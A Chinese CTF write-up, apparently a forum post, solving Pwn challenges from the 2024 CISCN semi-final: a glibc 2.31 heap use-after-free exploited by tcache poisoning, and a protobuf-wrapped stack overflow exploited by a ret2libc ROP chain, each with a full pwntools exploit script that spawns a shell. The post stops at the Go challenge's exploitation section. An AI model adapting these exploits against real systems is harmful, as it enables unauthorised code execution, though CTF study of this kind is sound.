首页
社区
课程
招聘
2024全国大学生信息安全竞赛(ciscn)半决赛华中赛区Pwn题解
发表于: 2024-6-26 10:43 10238

2024全国大学生信息安全竞赛(ciscn)半决赛华中赛区Pwn题解

2024-6-26 10:43
10238

简介

前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。

可惜遇到了华东北赛区的离谱平台和离谱pwn出题人:

  • 假的awdp(直接传到靶机,然后连上去cat /flag.txt即可)
  • 题型分布不合理,8个web 2个pwn(还是没有libc的栈上签到题)

今天把华中赛区的题目也都复现了一下,题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。

对比之下,华东北的题最烂。

Pwn1-note

签到堆题,2.31版本libc(tcache利用最简单的版本)。

题目没去除符号表,经典菜单题,逆向也不复杂。

逆向分析

拖入IDA分析:

image-20240625150826971

经典的增删改查菜单,逐个分析。

add

image-20240625150911008

可以申请最多1024个任意大小的chunk(小于0x1000)。

edit

image-20240625151012613

正常编辑功能,不存在溢出。

delete

image-20240625151108465

关键漏洞点,存在UAF漏洞。

show

image-20240625151130024

正常打印输出chunk中的内容。

利用思路

题目给的glibc2.31相对来说还是比较好利用的,没有fd指针也加密,malloc也不检查是否0x10对齐。

存在UAF漏洞,没有任何限制。打法有很多种,最简单的就是tcache poisoning打__free_hook -> system。

通过tcache泄露堆地址,通过unsorted bin泄露libc,然后修改tcache的fd指针指向free_hook。

修改free_hook为system,然后释放一个带有/bin/sh的chunk即可完成利用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
 
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
 
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
 
 
def add_chunk(size, content):
    p.sendlineafter(b"5. exit\n", b"1")
    p.sendlineafter(b"content: \n", str(size).encode())
    p.sendlineafter(b"content: \n", content)
 
 
def edit_chunk(index, content):
    p.sendlineafter(b"5. exit\n", b"2")
    p.sendlineafter(b"index: \n", str(index).encode())
    p.sendlineafter(b"content: \n", str(len(content)).encode())
    p.sendafter(b"Content: \n", content)
 
 
def delete_chunk(index):
    p.sendlineafter(b"5. exit\n", b"3")
    p.sendlineafter(b"index: \n", str(index).encode())
 
 
def show_chunk(index):
    p.sendlineafter(b"5. exit\n", b"4")
    p.sendlineafter(b"index:", str(index).encode())
 
 
# leak heap and libc
for i in range(9):
    add_chunk(0x98, b'a' * 0x98# 0-8
 
for i in range(7):
    delete_chunk(6 - i)
delete_chunk(7)
 
show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))
 
show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))
 
# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit_chunk(1, b'/bin/sh\x00')
 
edit_chunk(0, p64(free_hook))
add_chunk(0x98, b'b' * 0x98# 9
add_chunk(0x98, p64(system))  # 10 __free_hook
 
# gdb.attach(p)
# pause()
 
delete_chunk(1)
 
p.interactive()

Pwn2-protoverflow

题目很简单,ret2libc。

难点在于交互时套了一层C++ Protobuf的壳。

Protobuf-C逆向可以参考《深入二进制安全:全面解析Protobuf》文章,近期会再更新一期关于C++中Protobuf结构体还原的方法。

逆向分析

image-20240625172306036

发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。

结构体还原

使用pbtk工具:

1
pbtk-1.0.5/extractors/from_binary.py ./pwn

得到结构体:

syntax = "proto2";

message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

利用思路

image-20240625172246979

name和phoneNumber可选,没什么用。

buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。

已知libc,可以考虑直接ret2libc。

(这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段)

(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import message_pb2
 
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])
 
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
 
# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))
 
# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))
 
rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)
 
# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()
 
message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)
 
p.send(message.SerializeToString())
 
p.interactive()

Pwn3-go_note

Go语言静态编译的题目,IDA反编译不是很好,但是代码不复杂且漏洞点很好发现。

关键问题是没有libc,需要找一些ROP来调用静态编译的函数,方法可能不是最优解,但是很容易想到。

逆向分析

Go语言逆向,相比于C语言的区别如下:

  • main函数名为main_main(如果去除符号表,考虑通过bindiff还原)

  • 参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11

对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。

找到main_main函数:

image-20240625174510916

好在不是很复杂,根据菜单发现有add、delete、edit和show功能,依次分析。

add

image-20240625180057909

存在一个Notes结构体,存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。

delete

image-20240625180225045

直接看变量有点复杂,结合gdb调试发现不存在UAF漏洞。

edit

image-20240625202417201

直接看变量有点复杂,结合gdb动态调试发现这里没有判断输入长度,存在溢出漏洞并能覆盖到返回地址。

show

image-20240625202429139

看上去没有什么漏洞,直接打印内容。

利用思路


[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2024-6-26 10:50 被Real返璞归真编辑 ,原因: 补充附件
上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回